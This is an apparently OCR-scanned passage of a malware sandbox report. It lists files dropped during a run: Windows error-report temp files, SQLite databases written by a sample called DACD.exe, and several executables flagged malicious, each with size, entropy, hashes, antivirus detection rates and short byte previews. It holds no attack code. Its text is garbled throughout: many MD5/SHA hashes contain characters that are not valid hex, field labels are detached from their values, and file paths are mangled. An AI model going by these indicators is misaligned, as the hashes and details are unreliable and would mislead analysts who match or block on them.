Malicious:

Reputation:

C:\Windows\System32\svchost.exe

data

dropped

13340

2.6978851105837065

false
96:9GiZYWRgXy1ONYhY4LWyBHdYEZtqtziqO4DrwLCxFabrr4opAIM83:9jZDWN25TBCFabrOopXM83
04E0A447AACB518675A98D1B4747E655

9E7AB3246C0020C8BB5EAE18BEODAC10F1F84E31
31B05853043ADD528910BF72755A7FEBAFAFB182B095DD21F30C8CF4BA2C8A37
46DCIE3ABABF02A9A8C893813CEFA3546D5703AC6D1E650237708096728765A35FCID39A11EFD6BFD52790257E04D5F7D5AC23763851CF7BC417D03DEBCDAS!
false

unknown
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C:\ProgramData\Microsoft\Windows\WER\Temp\WER9F7A.tmp.txt

Preview:

B..T.imerRes.olution. ... ... .. .. ... . 1.5.6.2.5.0....B...P.@a.0.€.S..Z.6. . . 4.0.9.6.....B...N.L
m.b.er.O.f.P.hys.icalPages...........................1..04.83.15....B..Lowes.tPhysicalPageNumber ............................. 1.
....B..H.i.g.h.es.tP.hys.icalP.ageNumber ......... ..1.3.1.0.7.1.9....B.. Allo.cationGranularity. ........ ... .. .. . . L
.6.5.,5.3.6....B...M.i.n.im.um.U.s.erMo.deAddress............................655386...B..MaximumUs.erModeAddress.................
.1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B..Ac.tiv.e.P.ro.ce.ss.orsAffinityMask ......

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA552.tmp.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Windows\SysWOW64\WerFault.exe

XML 1.0 document, ASCII text, with CRLF line terminators

dropped

4677

4.462680687128651

false
48:cviwSD8zs5JgtWI9KMWSC8Bs8fm8M4J887Fu+q8vv8Besxxd:ul TILRISNfJiK 1sxxd
DEB1520205DD1A7C7533323BC82E2D2B
ADAA096798EF0356D3673072F8CCEBDO0838426EE
67CCCE881CF08FFEF42E7554E594B634D56CDD10B8A1CA61762F97BE2447184C
C491BCC027C4B3A2ED5962E434DC847DA52F56111A951B69881E1679F43561A98A6682859F0BDCOEBF2C090CB65F7F190A29276AF39766316DFAE709C333C42E

false

unknown

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tim>.. <src>..  <desc>.. <mach>.. <0s>.. <arg nm="vermaj" val="10"
/>.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="vergfe" val="1" />..

<arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid"
val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1"
/>.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1330639" />.. <arg nm="osinsty" val="1"/>.. <arg nm="jever" val="11.1.17134.0-
11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA94D.tmp.csv

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Windows\System32\svchost.exe

data

dropped

51764

3.0621285317715796

false
1536:bGH8IVNOZnyLOk4u9dld1hdVIS6AA5QXk44e87:bGHBIVNOZnyLOk4u9did1hdyS6AA5QX0
EB89FA4719BFBB3BA4FD8CCA245EE2F4
36918F7E02008D85CC73E171EEDB8C83E943C205
2CD5120F861AC0OF4292E39E3B8F20F7409C3F6B009285A648C540E7ASB2347E6

E97C7F67C6C25B4ADEAAF110CI9ECA35CE2065EAO0CB71B0B33A3EOD6AAG792DC3A4FF7B37CA953EF4220A83E3386DADID8238A26DBB5860273EE3BE35DA9294
3D1

false

unknown

I.m.a.g.e.N.am.e.,UnigueP.ro.cess.ld,NumberOfThreads., Wo.rkingS.etPrivatesSize.,HardFaultCount,Numb.erOfThreadsH.
i.g.hw.atermark.,.Cy.c.leTime.,CreateTime.,UserTime.,KernelTim.e.,B.as.e.Priority.,PeakV.irtualSize.,V.irtualS.ze.,.P.ag.e.F.
a.ultC.ou.nt,WorkingsSetSize.,.PeakW.orkingsS.etSize.,Qu.o.taP.eakP.agedP.o.0lUsage, QuotaP.agedP.o.0lUsag.e.,QuotaP.e.
ak.N.o.n.P.a.g.e.d.P.oolUs.age.,QuotaNonPagedP.oolUsage.,PagefileUsag.e.,PeakPagefileUsage.,PrivateP.ag.e.C.o.u.n.
t,.R.e.adO.p.eratio.ncC.o.unt, WriteO.perationcC.o.unt, O.ther0O.p.erationcC.ount, ReadTransferCo.unt, WriteTransfer.C.o.u.
n.t.,.O.therT.ransfer.C.o.u.nt, Han.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB11E.tmp.txt

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Reputation:

C:\Windows\System32\svchost.exe

data

dropped

13340

2.6963233369603725

false
96:9GIZYWCXyWIE8+YFYBWqUSHEYEZBztGibO7zVTwibfaGvsRK2KlaB3:9jZDCayilA7aGvsRK29aB3
931D4A8915227AC5EB617448B86F6B32

C952F2E91D71E8439627EA260D3FDDB6F25A6609
EDCEDB6E9935AC7060A688D8DA66D1336995E70CD4693FD374F466D9ED092504

FOOEBA89533E94D2C5D7D5A0BES57194481C1123BE4B772A451C218C743D69027BCCAEB0628B9A7A6C09BCECCEC462900D252D1C05D02C74E3E79C3E02466¢
9

false

unknown
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C:\ProgramData\Microsoft\Windows\WER\Temp\WERB11E.tmp.txt

Preview:
B..T.imerRes.olution. ... ... .. .. ... . 1.5.6.2.5.0....B...P.@a.0.€.S..Z.6. . . 4.0.9.6.....B...N.L
m.b.er.O.f.P.hys.icalPages...........................1..04.83.15....B..Lowes.tPhysicalPageNumber ............................. 1.
....B..H.i.g.h.estP.hys.icalPageNumber ......................1.31.0.7.19...B..Allo.cationGranularity. ............ ... .. ... .. ....
.6.5.5.3.6....B..M.i.nim.um.U.s.erMo.deAddress............................655386...B.MaximumUs.erModeAddress.................
.1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B..Ac.tiv.e.P.ro.ces.s.orsAffinityMask ......

C:\ProgramData\sqlite3.dll v

Process: C:\Users\user\AppData\Local\Temp\DACD.exe

File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 645592

Entropy (8bit):  6.50414583238337

Encrypted: false

SSDEEP: 12288:i0zrcH2F30fwjtWvuFEmMhx0Cj37670jwX+E7tFKmOgTYh:iJUOfwh8u9hxOD70NE7tFTYh

MDS5: E477A96C8F2B18D6B5C27BDE49C990BF

SHA1L: E980C9BF41330D1E5BD04556DB4646A0210F7409

SHA-256: 16574F51785BOE2FC29C2C61477EB47BB39F714829999511DC8952B43AB17660

SHA-512: 335A86268E7COE568B1C30981EC644E6CD332E66F96D2551B58A82515316693C1859D87B4F4B7310CF1AC386CEE671580FDD999C3BCB23ACF2C2282C01C8798
Malicious: false

Antivirus: e Antivirus: Metadefender, Detection: 3%, Browse

e Antivirus: ReversingLabs, Detection: 0%
Reputation: unknown

Preview:

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsagelLogs\EF80.exe.log

Process: C:\Users\user\AppData\Local\Temp\EF80.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 700

Entropy (8bit):  5.346524082657112

Encrypted: false

SSDEEP: 12:Q3La/KDLI4AMWuPk210OKbbDLI4AMWuPJKiUrRZ910ZKhat/DLI4M/DLI4MOkvoDLIw:ML9E4Ks2wKDE4KhK3VZ9pKhgLE4gE4jv

MD5: 65CF801545098D915A06D8318D296A01

SHA1: 456149D5142C75C4CF74D4A11FF4A00F68315EBDO

SHA-256: 32E502D76DBE4F89AEES86A740F8D1CBC112AA4A14D43B9914C785550CCA130F

SHA-512: 4D1FF469B62EB5C917053418745CCE4280052BAEF9371CAFASDA13140A16A7DE949DD1581395FF838A790FFEBF85C6FC969A93CC5FF2EEABBC6C4A9B4F1D55
D

Malicious: false

Reputation: unknown

Preview:

1,"fusion","GAC",0..1,"WIinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\Nativelma
ges_v4.0.30319_32\System\4f0a7eefa3cd3e0bad8b5ebddbbc72e6\System.ni.dll*,0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561
934e089","C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll*,0..2,"Microsoft.CSharp, Vers
ion=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Dynamic, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"Sy
stem.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\sqlite3[1].dIl v
Process: C:\Users\user\AppData\Local\Temp\DACD.exe

File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 645592

Entropy (8bit):  6.50414583238337

Encrypted: false

SSDEEP: 12288:i0zrcH2F30fwjtWvuFEmMhx0Cj37670jwX+E7tFKmOgTYh:iJUOfwh8u9hxOD70NE7tFTYh

MD5: E477A96C8F2B18D6B5C27BDE49C990BF

SHAL: E980C9BF41330D1E5BD04556DB4646A0210F7409

SHA-256: 16574F51785BOE2FC29C2C61477EB47BB39F714829999511DC8952B43AB17660

SHA-512: 335A86268E7COE568B1C30981EC644E6CD332E66F96D2551B58A82515316693C1859D87B4F4B7310CF1AC386CEE671580FDD999C3BCB23ACF2C2282C01C8798
Malicious: false

Antivirus: e Antivirus: Metadefender, Detection: 3%, Browse

e Antivirus: ReversingLabs, Detection: 0%

Reputation: unknown
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https://www.metadefender.com/#!/results/file/YnpJeE1USXhOMnBUV1ZNd1IwNVBWbGdpMF9IQzYzVnlK/regular/analysis
https://www.metadefender.com/#!/results/file/YnpJeE1USXhOMnBUV1ZNd1IwNVBWbGdpMF9IQzYzVnlK/regular/analysis

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIE\PSUEOSZZ\sqlite3[1].dII v

Preview:

C:\Users\luser\AppData\Local\Packages\ActiveSync\LocalState\DiagOutputDir\SyncVerbose.etl

Process: C:\Windows\System32\svchost.exe
File Type: data

Category: dropped

Size (bytes): 65536

Entropy (8bit):  0.11028790681875378

Encrypted: false

SSDEEP: 12:268+t/AXm/Ey6g9995hq3qQ10nMCldimE8eawHjc5ve:268+XI682LyMCldzE9BHjc5m

MDS5: BC7FOCC1FAB305DDB2FDEFEE52548966

SHA1L: 4A3F37B70A8F29668BC589855CAE479EB7147F86

SHA-256: A3F18986E12B23F1F889BBA6B3AF548B707C20A66579A45F79A38C8DC82E5BCY

SHA-512: C9994C6C394D73CA410CF98E535880A38C42FF13ABI4ADOBO9AFC6D6005D427A0ABC6E72CDDCF4A70AD6C850FBI3CI30A17558BEAD1565146DD354D0412C9!
2

Malicious: false

Reputation: unknown

Preview:

@.tzres.dll,.-2.1.2. .o
.@.tzres.dll,.-. ...Sy.n.cV.erb.os.e..C:\Us.ers\hardz\Ap.pD.atal\Lo.cal\p.a.ck
.a.g.es\Activ.e.Sy.n.c\lLo.calStatel\D.iagO.u.tputD.ir\Sy.n.c.V.erb.os.e..e.tl

C:\Users\luser\AppData\Local\Packages\ActiveSync\LocalState\DiagOutputDir\UnistackCircular.etl

Process: C:\Windows\System32\svchost.exe

File Type: data

Category: dropped

Size (bytes): 65536

Entropy (8bit):  0.11288476137283428

Encrypted: false

SSDEEP: 12:wP+FXm/Ey6q9995a1miM3qQ10nMCldimE8eawHzalmil4K:A+0l68M1tMLYMCldzE9BHzaltl4K

MD5: FFC4EEAB4E82DAC3439827D1C82AC5E3

SHA1L: 8E34DAFCB42F51542A228DCDB44503DF6A7E0547

SHA-256: ABBOECDF1EBD3CAB4178A553A603F19DE34648C8BES9588FA43FCD4B5A6D1275

SHA-512: 2FBE72891D4F3B500F3585F8B86A8201CC7EBD12EF239291666BA77BD2A3B4567CDB7EABDF70BA28E56A7831DEF7FBF5852AECC394A3E7F4295AF4142624415
E

Malicious: false

Reputation: unknown

Preview:

@.t.zores.dll, 212 s
. cular..C:\Users\hardz\App.DatallLo.cal
\packagesl\ActivesSync\lLo.calStatel\D.iag.O.utputD.ir\UnistackC.ircular..e.tl

C:\Users\user\AppDatal\Local\Packages\ActiveSync\LocalState\DiagOutputDir\UnistackCritical.etl

Process: C:\Windows\System32\svchost.exe

File Type: data

Category: dropped

Size (bytes): 65536

Entropy (8bit):  0.1126659102426852

Encrypted: false

SSDEEP: 12:wP+nBXm/Ey60q9995ulmK2P39Q10nMCldimE8eawHzalmKTKJ:A+nsl68ALliPLyMCldzE9BHzalPC

MD5: C72EO0BO5E2B039E1A3B24CA515D4574F

SHAL: 64C8987CC6805BE28ABOB6F99744DCB3A4F93CB8

SHA-256: 6607B4185D7F456D1BE266E46FB25DF116A35EC948626B368532476468BBFAC3

SHA-512: 146F1D4370B652A511163E97DA909A3D685A426876C62DEC60835E4D7D406FFC26BE322B9B982C4A40CCOE7DO3D2DFDEAEO0156E8BC13957CBCE2BAEICD3BE
49

Malicious: false

Reputation: unknown
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C:\Users\luser\AppData\Local\Packages\ActiveSync\LocalState\DiagOutputDir\UnistackCritical.etl

Preview:

................................................................................ (eevermyeremenenieeneneeeee B Zbn @ 0205005 DL 20120
.............. @.t.z.res.dll, - 2.0 0 e S Uinlis tac k. Coriticcaal.Ci\U.s.eors.\ h.ar.d.z\.Ap.p.D.ata\L.o.ca.
l\.p.a.ckag.es\ActiveSync\Lo.c.alStatel\D.a.g.O.utp.utD.irlUnistackCritical . tl. ... P.P.( e

C:\Users\luser\AppData\Local\Temp\16PP8GLX

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Users\user\AppData\Local\Temp\DACD.exe

SQLite 3.x database, last written using SQLite version 3032001

dropped

20480

0.6970840431455908

false

24:TLbJILbXaFpEO5bNmMISHN06UwWCQPX5fBocLgAZOZD/0: T5LLOpEO5J/Kn7U1uBo8NOZ0
00681D89EDDB6AD25E6F4ABD2E66C61C6
14B2FBFB460816155190377BBC66AB5D2A15F7AB
8BFO6FD5FAE8199D261EB879E771146AE49600DBDED7FDC4EAC83A8C6A7A5D85
159A9DE664091A3986042B2BE594E989FD514163094AC606DC3A6A7661A66A78C0D365B8CA2C94B8BC86D552E59D50407B4680EDADB894320125F0E9F48872D%
false

unknown

SQLite format 3.

C:\Users\luser\AppData\Local\Temp\26FU3EKF

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Users\user\AppData\Local\Temp\DACD.exe

SQLite 3.x database, last written using SQLite version 3032001

dropped

40960

0.792852251086831

false
48:2i3nBA+I1Y1PJzZrOURCVE9V8MXODOHSFINUfAIGUGYFoNSs8LKVUfIKVYJ7hU:pBCJIyC2V8MZyFIBAIG4oNFeymw
81DB1710BB13DA3343FCODFOF00BE49F

9B1F17E936D28684FFDFA962340C8872512270BB
9F37C9EAF023F2308AF24F412CBD850330C4EF476A3F2E2078A95E38DOFACABB
CF92D6C3109DAB31EF028724F21BAB120CF2F08F7139E55100292B266A363E579D14507F1865D5901E4B485947BE22574D1DBA815DE2886C118739C3370801F1
false

unknown

SQLite format 3.

C:\Users\user\AppData\Local\Temp\5FCTR1D2

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Users\user\AppData\Local\Temp\DACD.exe

SQLite 3.x database, last written using SQLite version 3032001

dropped

73728

1.1874185457069584

false
96:13sa9uKnadsdUDitMkMC1mBKC7g1HFp/GelCEjWTPeKeWbS8pz/YLcs+P+qigSz4:13rHdMHGTPVbSYghCP46w/1Vumq
72A43D390E478BA9664F03951692D109

482FE43725D7A1614F6E24429E455CD0OA920DF7C
593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C

FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFAOCFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC
CE

false

unknown

SQLite format 3......@ ....... e LSOO OO U PSPPSRt
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Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MDS5:
SHA1L:
SHA-256:
SHA-512:
Malicious:

Antivirus:

Reputation:

Preview:

C:\Windows\explorer.exe

MS-DOS executable

dropped

622544

7.422614340956733

false
12288:RmMYfY057ypMZFFies2005g+BVwCzsGnyyvr6rzuKVY1:RGDUMX4e/0gDVnuyv2HuKVa
26C406D1218ADAEC5E5FD1EB0A9166F5
6129A7F0066A0868DD88CCI0E2FFAB3E40504073
B912D450E6F45F40FCC8D4D6A056206667F56B4A61100E2C3F43589C50BD6EGE
59C4910874E5A1EBF123A13C8B7792A251C53A10A484E478492DDB95485EFA3995D924381477C6BCDAFBF834A8F090A06D27196DAFAALS56AA34A64DF75FD20B
true

e Antivirus: Joe Sandbox ML, Detection: 100%
e Antivirus: ReversingLabs, Detection: 47%

unknown

...PE..L....
...shared... . .. .
...................................................................................................................................................................................................................................... O..b.P...PUd{.>;...V1Z.c.P

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHA1L:
SHA-256:
SHA-512:

Malicious:
Antivirus:
Reputation:

Preview:

C:\Windows\explorer.exe

PE32 executable (GUI) Intel 80386, for MS Windows

dropped

307712

6.691509554580679

false

6144:XKyXkVUgXIPCXTCNtBhUZC3li8 ThGw+Z7xJIn:XKyXLgjuCNtBhUMViehGZIt
8C23CC666860658E657DCA4652A48FF91
DEEBCG6A7EO00DBOB79C52F1D922EFAO0SDBCA3333E
A7TEE420FD3A477E690DAB56F47B264DD6C8376941101065D6645716BBF4B6333

0CF8A4071903672291EFFBCF10AB5F801CF364BA72FDAEF87F96E3D5957DF9921F2C36BAE1EF1DB1B735C7C52DD59F18FBDFBDF4CFE2006D3390DF0C3EF00¢
2

true
e Antivirus: Joe Sandbox ML, Detection: 100%

unknown

.L.IThis program cannot be run in DOS mode....$..

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHAL:
SHA-256:
SHA-512:

Malicious:

Antivirus:

Reputation:

Preview:

C:\Windows\explorer.exe

PE32 executable (GUI) Intel 80386, for MS Windows

dropped

760832

7.455489986534232

false

12288:NmnQAJTFOZULSeNYKa+0R7sGtakDxKUXjE9woq T4lYf9icr/PlokIVd074tFEZ1i:NqQcBOZv8YKIksGcgUUTEGBcenr/gJVM
C085684DB882063C21F18D251679B0CC

2B5E71123ABDB276913E4438AD89F4ED1616950A
CDA92BB8E0734752DC6366275020CE48D75F95D78AF9793B40512895ECD2D470

8158AA6D5A6D2130B711671D3DAC1A335B01D08118FBSAC91DC491ED17EE04CCA8559B634EDD4CO3DECBD8278709AD70DB7FB0615DF73F25D42242EA4B255!
B7

true

e Antivirus: Joe Sandbox ML, Detection: 100%
e Antivirus: Metadefender, Detection: 23%, Browse
e Antivirus: ReversingLabs, Detection: 89%

unknown

PR $j..<..0..Y..
@....rsrc.....;..0..Z.
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https://www.metadefender.com/#!/results/file/bzIyMDEwM2hfWUVTYTlPVTQ0dVJvMHlRTks/regular/analysis

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MDS5:
SHA1L:
SHA-256:
SHA-512:

Malicious:

Antivirus:

Reputation:

Preview:

C:\Windows\explorer.exe

PE32 executable (GUI) Intel 80386, for MS Windows

dropped

358912

6.278717191933335

false

6144:7e+RhbrOOFh9v2Y8zBk3L3gXO1RdFggj:7e6a0OFhB8zBk3L3b1R
1F935BFFFOF8128972BC69625E5B2A6C
18DB55C519BBE14311662A06FAEECC97566E2AFD
2BFA0884B172C9EAFF7358741C164F571F0565389AB9CFI9A8EOBIOAEBADI14D

2C94C1EA43B008CE164D7CD22A2D0FF3B60A623017007A2F361BDFFG9ED72E97B0CC0897590BE9CC56333E014CD003786741EB6BB7887590CB2AAD832EABAS
D

true

e Antivirus: Joe Sandbox ML, Detection: 100%
e Antivirus: Metadefender, Detection: 26%, Browse
e Antivirus: ReversingLabs, Detection: 79%

unknown

A
@. @....pamicak..
...@..@.reloc..>....... @i,

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHA1:
SHA-256:
SHA-512:

Malicious:

Antivirus:

Reputation:

Preview:

C:\Windows\explorer.exe

PE32 executable (GUI) Intel 80386, for MS Windows

dropped

1403392

7.986781882086496

false
24576:uYbOX1pr8QrEOIUFKtG8vID8YO35EmleohaPN33kEaHNYK3nmsGUFK:uY6X1pAKIu9l/OCmYjP5NalmsiK
1FE2B9EA76D3F03CDO8E9BI69CD11F57

4A4A2CD043DAAC617F6EBFC700F3C240C664CD36
DFB62F76439F0D9E793B99B9674A2328D840012BC6776DF91A627D59F863B59F

7663922B5CC98BDB969826D3F5D102B9BFB3A997EAECS50E35DB6E309B1E7B9926A22802AA64DBEOE962E3402F6ACIF98FOBEOCA33292080B8811BBB2CCES541
7

true

e Antivirus: Joe Sandbox ML, Detection: 100%
e Antivirus: ReversingLabs, Detection: 47%

unknown

MZ.oooiiiiiiiis @i 1..L.IThis program cannot be run in DOS mode....$....... >, $zy.wzy.wzy.wn..vwy.wn..v.y.wn..vly.w(..vky.w(..vny.w(..vOy
WNLVY.WZy WY W Y. W W]y WL vy WRichzy.w .PE..L..L.a. ]l P

@....adata......."[...

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHAL:
SHA-256:
SHA-512:

Malicious:
Antivirus:
Reputation:

Preview:

C:\Windows\explorer.exe
PE32 executable (GUI) Intel 80386, for MS Windows

dropped

309760

6.697865116816221

false

6144:XIfIMHGLg2am/jgLWcPmiAtrp1ZDk/3TYhGawe5dTvt: XltlamLggiAtrp1dO3khY6n
6146E19CEFC8795E7C5743176213B2C2
F158BB5C21DB4EFOE6FE94547D6A423B9FCC31B4
704FA847FBC684CAG5F3A0A5481EF2546CCOFDEIDDF35F18CD83C0689D124C06

DF144F4FC2DEFA5D96A6CABDSFD3C7C41A14A783210BFFFD2916C63045B3CBD4E11931EB167E0F05A7BBEC557BA37DBED83380B20FB01BD85703DDEDSCF9
277

true

e Antivirus: Joe Sandbox ML, Detection: 100%

unknown

.L.IThis program cannot be run in DOS mode....$..
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https://www.metadefender.com/#!/results/file/bzIyMDEwNTNDOU5NcGhuVnhwU2pxTUNOVVps/regular/analysis

Process: C:\Windows\explorer.exe

File Type: PE32 executable (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 3573248

Entropy (8bit): 7.997615922945932

Encrypted: true

SSDEEP: 49152:mxuaOaZuK/iUwHDyK31YytOFNCX/4WmmHisrWqcjs9Za01EpgUbzpiockWmNaYHS:o/ijZIYbS49mDWZjs91Ab9i0c3a9S
MDS5: F5CA7A4283A387AC2D9FC3427D20EB17

SHA1L: 055120692B38E06FA5B5993262DD4FF1A572DA1C

SHA-256: 0684DF47E885AB1F70B2EE3FCFD5D2FA3E3AE1155F11ACD6BCDDAEA4022D36AA

SHA-512: F602EECDCF05246233C6BD4A41670DDE5230F0961FAE1065C62630359F8826B27D3A3FF18BEBB1B06811643AE976258C86CDF3B59A12D010CF02E5CIDEA0D736
Malicious: true

Antivirus: e Antivirus: Joe Sandbox ML, Detection: 100%

Reputation: unknown

Preview:

Process: C:\Windows\explorer.exe

File Type: PE32 executable (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 306688

Entropy (8bit):  6.681340137747043

Encrypted: false

SSDEEP: 6144:LSqbApUjT7PGF0tR64ZXGgDddihGuvHWoQO0XMz:LSGkFOtR64InDyhBHNTX
MD5: E97EA1CACC3EFE421BC13D3A1FA4D0A3

SHAL: C5FEEC28AC884851966DB5B266C8155D81C6C0B0

SHA-256: 05343A42626EC21C12C2E642814860EFE16284278E6FD595D2EFCAE0647B4C0D
SHA-512: C56509A7E6ED339DA275A3DD39F7FD87C3570A9C42BACCB99253537AD39987F65144E1679D8BB659B77E0196C542837BB5609AA451DE1753FAFE3924D55CDA(
Malicious: true

Antivirus: e Antivirus: Joe Sandbox ML, Detection: 100%

Reputation: unknown

Preview:

1..L.IThis program cannot be run in DOS mode....$..

Process: C:\Windows\explorer.exe

File Type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

Category: modified

Size (bytes): 538624

Entropy (8bit):  5.844802993920551

Encrypted: false

SSDEEP: 12288:5crDIteKVQeObXSg+yVyAq9zE78U6vZ6nYiPhijH7x/F/:5+cZVQeODbVel
MD5: 9D7EB9BE3B7F3A023430123BA099B0B0O

SHAL: 18F9CIDEFA3C9C6847E6812A8EA3D1F1712A6DB1

SHA-256: 18D57C2EB16F5A8CE1058155D2912C2C4871640C444F936469ECFEASE3D820ES
SHA-512: A781FC4C922C81693D57BD895317467F31DE11A7F74594C6FABDF23C82D8E9934B60FBBDDES01A926F891AEADAADFF2023F341E43FC883016B3F249D6B9D54¢
Malicious: true

Antivirus: e Antivirus: Joe Sandbox ML, Detection: 100%

Reputation: unknown

Preview:

C:\Users\user\AppData\Local\Temp\YUAI5SX4W
Process: C:\Users\user\AppData\Local\Temp\DACD.exe
File Type: SQLite 3.x database, last written using SQLite version 3032001
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C:\Users\luser\AppData\Local\Temp\YUAI5X4W

Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

dropped

118784

0.4589421877427324

false
48:T9YBfHNPM5ETQTbKPHBsRKOLKRf+z4QHItYysX0uhnHu132RUioVelNUravDLjY/:2WU+bDoYysX0uhnydVjNODLjGQLBE3u
16B54B80578A453C3615068532495897

03D021364027CDEOE7AE5008940FEB7E07CA293C
75A16F4B0214A2599ECFBB1F66CAE146B257D11106494858969B19CABCBI9B541

C11979FE1C82B31FDD6457C8C2D157FB4C9DF4FES5457D54104B59F3F880898D82A947049DEB948CA48A5A64A75CFBFC38FDB2E108026EBE7CA9EBESB17937
7

false

unknown

SQLite format 3.

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Antivirus:
Reputation:

Preview:

C:\Users\user\AppData\Local\Temp\E5F9.exe

PE32 executable (GUI) Intel 80386, for MS Windows

dropped

10551808

4.081890279547224

false

6144:TSgbApUjT7PGFOtR64ZXGgDddihGuvHW0oQOXMz: TSGkFOtR64InDyhBHNTX
D7D754B8387667DCD43EDD3ACA2086B6
02D83CDB8B6C525037D188A640CD6E4A59046BDD
3BA17900BF932F0948542B234D2D6A1E387979FEBA8828D514E01672B98494BB

EDB674CE3176D1BFBC906FF314D81D85408221F02C1AF46FESB1F11C7A8D777350088DEA49BBOAFFAAFB1B414BA440EBB9457244C8CC5B2A614D8109665304¢
1

true
e Antivirus: Joe Sandbox ML, Detection: 100%

unknown

.L.IThis program cannot be run in DOS mode....$..
............ (. @...

.@....vakorupK..

C:\Users\luser\AppDatal\Local\packages\ActiveSync\LocalState\DiagOutputDir\SyncVerbose.etl.0001. (copy)

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Windows\System32\svchost.exe

data

dropped

65536

0.11028790681875378

false
12:268+t/AXm/Ey6q9995hq3qQ10nMCldimE8eawHjc5ve:268+XI682LyMCldzE9BHjc5m
BC7FOCC1FAB305DDB2FDEFEE52548966
4A3F37B70A8F29668BC589855CAE479EB7147F86
A3F18986E12B23F1F889BBA6B3AF548B707C20A66579A45F79A38C8DC82E5BCY

C9994C6C394D73CA410CFI8ES35880A38C42FF13AB94ADOBO9AFC6D6005D427A0ABC6E72CDDCF4A70AD6C850FBI3C930A17558BEAD1565146DD354D0412C9
2

false

unknown

( + B ZD @.t.zre.s.d.ll,. 212 e
...S.y.ncV.erbos.e..C:\Users\hardz\Ap.pD.atal\Lo.cal\p.ack

.@.tzres..dll,.-21.1.
.ag.es\ActiveSyncl\lLo.calStatel\D.iagO.utpu.tD.ir\Sy.n.c.V.erb.ose..e.tl

C:\Users\user\AppDatal\Local\packages\ActiveSync\LocalState\DiagOutputDir\UnistackCircular.etl.0001 (copy)

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):

C:\Windows\System32\svchost.exe
data

dropped

65536

0.11288476137283428
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C:\Users\luser\AppData\Local\packages\ActiveSync\LocalState\DiagOutputDir\UnistackCircular.etl.0001 (copy)

Encrypted:
SSDEEP:
MDS5:
SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

false
12:wP+FXm/Ey6q9995a1miM3qQ10nMCldimE8eawHzalmil4K:A+ol68M1tMLYMCldzE9BHzaltl4K
